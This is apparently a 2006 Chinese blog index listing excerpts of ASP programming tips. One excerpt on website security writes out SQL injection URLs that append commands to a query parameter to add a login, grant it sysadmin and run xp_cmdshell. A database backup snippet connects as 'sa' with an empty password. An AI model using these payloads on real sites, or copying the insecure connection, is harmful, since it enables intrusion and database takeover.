博文

asp中产生验证码的代码(2006-09-29 15:49:00)

摘要:<%
'-------------定义随机码
 dim rndnum,verifycode
 Randomize
 Do While Len(rndnum)<4
 num1=CStr(Chr((57-48)*rnd+48))
 rndnum=rndnum&num1
 loop
 session("RandomNum1")=rndnum
'-------------定义随机码结束
%> 其中4为这个验证码的位数......

阅读全文(4936) | 评论:0

Asp编码优化技巧8则(2006-08-29 18:39:00)

摘要:ASP(Active Server Page)是Microsoft公司推出的基于PWS(Personal Web Server)&IIS(Internet Information Server)平台的、基于ISAPI(InternetServiceAPI)原理的动态网页开发技术,目前日趋成熟完善。在这里仅就代码优化进行一些简单讨论。 1、声明VBScript变量
    在ASP中,对vbscript提供了强劲的支持,能够无缝集成vbscript的函数、方法,这样给扩展ASP的现有功能提供了很大便利。由于ASP中已经模糊了变量类型的概念,所以,在进行ASP与vbscript交互的过程中,很多程序员也惯于不声明vbscript的变量,这样加重了服务器的解析负担,进而影响服务器的响应请求速度。
鉴于此,我们可以象在VB中强制用户进行变量声明一样在vbscript中强制用户进行变量声明。实现方法是在ASP程序行首放置<% option explicit%>。 2、对URL地址进行编码
    在我们使用asp动态生成一个带参数URL地址并进行跳转时,在IE中解析很正常,但在NetScrape浏览时却有错误如下:
HTTP Error 400
400 Bad Request
Due to malformed syntax, the request could not be understood by the server.
The client should not repeat the request without modifications.
解决方法是对生成的URL参数使用ASP内置server对象的URLencode方法进行URL编码,例子如下:
<%
URL="xur.asp"
var1="username=" & server.URLencode("xur")
var2="&company=" & server.URLencode("xurstudio")
var3="&phone=" & server.URLencode("021-53854......

阅读全文(2946) | 评论:0

asp中自己做具有个性的表格(2006-08-18 12:03:00)

摘要:框边框属性

1、border-top

border-bottom

border-right

border-left

功能:这四个属性都是简写属性,分别设置上,下,右,左的边框属性。缺省情况下,边框没有样式设置。

数值:共有三个边框属性

border-width: 取值为 thin, medium, thick或指定长度。

border-style: 设置用于修饰边框的底纹。可以设置下列样式:none, dotted,doshed, solid, double, groove, ridge, inset, outset。

border-color: 设置边框颜色。

2、border-top-width

border-bottom-width

border-right=width

border-left-width 

功能:分别设置各个边框的厚度。

数值:

thin - 细边框。

medium - 中等线宽。

thick - 粗线。

长度 - 用相对或绝对单位设置边框宽度。

3、border-width

功能:简写属性,可同时设置四个边框的宽度。

数值:

thin - 细边框。

medium - 中等线宽。

thick - 粗线。

长度 - 用相对或绝对单位设置边框宽度。

说明:见 padding 说明。

5、border-style

功能:用于显示边框和指定边框样式。

数值:

none - 不显示边框,为缺省......

阅读全文(5282) | 评论:0

ASP 五大高效提速技巧(2006-07-26 11:24:00)

摘要:技巧之一:提高使用Request集合的效率
  访问一个ASP集合来提取一个值是费时的、占用计算资源的过程。因为这个操作包含了一系列对相关集合的搜索,这比访问一个局部变量要慢得多。因此,如果打算在页面中多次使用Request集合中的一个值,应该考虑将其存贮为一个局部变量。
  例如将代码写成下面的形式以加快脚本引擎处理速度:
  strTitle=Request.Form("Title")
  strFirstName=Request.Form("FirstName")
  strLastName=Request.Form("LastName")
  If Len(strTitle) Then strTitle=strTitle & " "
  If strFirstName="" Then strFullName=strTitle & " " & strLastName
  Elseif Len(strFirstName)=1 Then
  strFullName=strTitle & strFirstName & ". " & strLastName
  Else
  strFullName=strTitle & strFirstName & " " & strLastName
  End If

技巧之二:直接访问适当的集合
  如果不是别无选择,否则不要使用strPage=Request("page")的这样的形式来获取参数,因为这将按顺序搜索全部的集合—QueryString、Form、Cookies、ClientCertificate、ServerVarible直到发现第一个匹配值的名称。这样做比直接访问适当的集合效率低,并且是不安全的,除非能绝对保证这个值不会出现在另外一个集合中。
  例如,可能希望搜索满足客户请求的WEB服务器名称,这通过出现在每个查询中的Request.ServerVarables集合中寻找“SERVER_NAME”来实现。然而,假如其他的集合也包含名为“SERVER_NAME”的值(键名不区分大小写),当使用Request("server_......

阅读全文(3545) | 评论:0

网站安全(2006-07-16 13:33:00)

摘要:程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!

这种攻击方法最早源于''or''1''=''1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec

sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变

量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....

这种方法请求数据库,那么如果还用以上的例子就会

news.asp?id=2;exec sp_addlogin hax

变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...

整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法

news.asp?id=2;exec sp_addlogin hax;--

后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!

那么我们连一起来用吧

news.asp?id=2;exec master.dbo.sp_addlogin hax;--

news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--

news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--

news.asp?id=2;exec master.dbo.xp_cmdshell ''net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq......

阅读全文(485) | 评论:0

asp中备份数据库代码(2006-07-16 09:31:00)

摘要:asp在线备份sql server数据库:
1、备份
<%
SQL="backup database 数据库名 to disk='"&Server.MapPath("backup")&"\"&"backuptext.dat"&"'"
set cnn=Server.createobject("adodb.connection")
cnn.open "driver={SQL Server};Server=服务器名;uid=sa;pwd="
cnn.execute SQL
on error resume next
if err<>0 then
   response.write "错误:"&err.Descripting
else
   response.write "数据备份成功!"
end if
%>

2、恢复
<%
SQL="Restore database 数据库名 from disk='"&Server.MapPath("backup")&"\"&"backuptext.dat"&"'"
set cnn=Server.createobject("adodb.connection")
cnn.open "driver={SQL Server};Server=服务器名;uid=sa;pwd="
cnn.execute SQL
on error resume next
if err<>0 then
   response.write "错误:"&err.Descripting
else
 &nbs......

阅读全文(4950) | 评论:0

用户登录代码(2006-07-11 18:51:00)

摘要:ASP用户登录代码......

阅读全文(9513) | 评论:2

asp错误提示(2006-07-10 09:06:00)

摘要:MicrosoftVBScript语*错误(0x800A03E9)-->内存不足
MicrosoftVBScript语*错误(0x800A03EA)-->语*错误
MicrosoftVBScript语*错误(0x800A03EB)-->缺少 ':'
MicrosoftVBScript语*错误(0x800A03ED)-->缺少 '('
MicrosoftVBScript语*错误(0x800A03EE)-->缺少 ')'
MicrosoftVBScript语*错误(0x800A03EF)-->缺少 ']'
MicrosoftVBScript语*错误(0x800A03F2)-->缺少标识符
MicrosoftVBScript语*错误(0x800A03F3)-->缺少 '='
MicrosoftVBScript语*错误(0x800A03F4)-->缺少 'If'
MicrosoftVBScript语*错误(0x800A03F5)-->缺少 'To'
MicrosoftVBScript语*错误(0x800A03F6)-->缺少 'End'
MicrosoftVBScript语*错误(0x800A03F7)-->缺少 'Function'
MicrosoftVBScript语*错误(0x800A03F8)-->缺少 'Sub'
MicrosoftVBScript语*错误(0x800A03F9)-->缺少 'Then'
MicrosoftVBScript语*错误(0x800A03FA)-->缺少 'Wend'
MicrosoftVBScript语*错误(0x800A03FB)-->缺少 'Loop'
MicrosoftVBScript语*错误(0x800A03FC)-->缺少 'Next'
MicrosoftVBScript语*错误(0x800A03FD)-->缺少 'Case'
MicrosoftVBScript语*错误(0x800A03FE)-->缺少 'Select'
MicrosoftVBScript语*错误(0x800A03FF)-->缺少......

阅读全文(3723) | 评论:0

asp常用代码(2006-07-04 13:43:00)

摘要:1.如何用Asp判断你的网站的虚拟物理路径 
  答:使用Mappath方法 
  < p align="center" >< font size="4" face="Arial" >< b > 
  The Physical path to this virtual website is: 
  < /b >< /font > 
  < font color="#FF0000" size="6" face="Arial" > 
  < %= Server.MapPath("\")% > 
  < /font >< /p > 
  2.我如何知道使用者所用的浏览器? 
  答:使用the Request object方法 
  strBrowser=Request.ServerVariables("HTTP_USER_AGENT") 
  If Instr(strBrowser,"MSIE") < > 0 Then 
    Response.redirect("ForMSIEOnly.htm") 
  Else 
    Response.redirect("ForAll.htm") 
  End If  3.如何计算每天的平均反复访问人数 
  答:解决方法 
  < % startdate=DateDiff("d",Now,"01/01/1990") 
  if strdate< 0 then startdate=startdate*-1 
  avgvpd=Int((usercnt)/startdate) % > 
  显示结果 
  < % response.write(avgvpd) % > 
  tha......

阅读全文(3996) | 评论:0

图形按纽(2006-06-29 15:12:00)

摘要:<input name="submit" type="reset" id="submit3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BACKGROUND-IMAGE:  url(images/dl.gif); BORDER-LEFT: 0px; WIDTH: 65px; BORDER-BOTTOM: 0px; HEIGHT: 17px; cursor:hand;" value="">......

阅读全文(8585) | 评论:0